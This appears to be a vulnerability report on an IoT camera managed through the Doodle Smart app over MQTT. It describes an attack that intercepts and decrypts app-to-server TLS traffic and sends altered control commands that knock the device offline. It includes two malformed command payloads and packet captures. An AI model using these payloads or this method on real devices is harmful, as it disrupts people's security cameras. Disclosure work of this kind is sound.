

When sending commands to a camera through the Doodle Smart APP based on the MQTT protocol via a server, as shown in Figures 1 and 2, it is found that the device on the APP will temporarily go offline. At the same time, when capturing the communication packets between the device and the server, it is discovered that the device actively sends a FIN packet to terminate the current communication connection, as shown in Figures 3 and 4. This vulnerability leads to a denial of service for a period of time. The specific implementation involves triggering the execution of any control command to generate network traffic on the app side, then performing a man-in-the-middle attack between the APP and the server to decrypt the SSL/TLS packets, and reverse-engineering the original control commands based on the encryption algorithm. The control command ID and its corresponding value are then modified as shown in Figures 1 and 2. Subsequently, new packets are generated according to encryption and coding rules and sent to the server, which then forwards these packets to the device. Upon receiving these packets, the device exhibits abnormal behavior, resulting in the device going offline.

```
b'{"data":{"dps":{"115":169}},"protocol":5,"t":1701849007}'
```

Figure 1: Plain text of the abnormal control command triggered by the APP - 1

```
b'{"data":{"dps":{"185":46}},"protocol":5,"t":1701846488}'
```

Figure 2 Plain text of the abnormal control command triggered by the APP - 2

15414	15:08:11.0216956	121.5.96.167	10.42.0.233	TLSv1.2	235	8883	56898	Application Data
15415	15:08:11.0296711	10.42.0.233	121.5.96.167	TCP	54	56898	8883	56898 → 8883 [ACK] Seq=
15416	15:08:11.1202966	10.42.0.233	121.5.96.167	TCP	54	56898	8883	56898 → 8883 [FIN, ACK]
15417	15:08:11.1315582	121.5.96.167	10.42.0.233	TCP	54	8883	56898	8883 → 56898 [FIN, ACK]
15418	15:08:11.1326640	10.42.0.233	121.5.96.167	TCP	54	56898	8883	56898 → 8883 [ACK] Seq=

Figure 3 Communication packet between IoT device and server when anomaly is triggered - 1

18646	15:49:57.0684399	10.42.0.233	121.5.96.167	TCP	54	56932	8883	56932 → 8883 [ACK] Seq=11
18659	15:50:11.2934895	121.5.96.167	10.42.0.233	TLSv1.2	235	8883	56932	Application Data
18660	15:50:11.3013215	10.42.0.233	121.5.96.167	TCP	54	56932	8883	56932 → 8883 [ACK] Seq=11
18661	15:50:11.3538971	10.42.0.233	121.5.96.167	TCP	54	56932	8883	56932 → 8883 [FIN, ACK] S
18662	15:50:11.3652163	121.5.96.167	10.42.0.233	TCP	54	8883	56932	8883 → 56932 [FIN, ACK] S

Figure 4 Communication packet between IoT device and server when anomaly is triggered - 2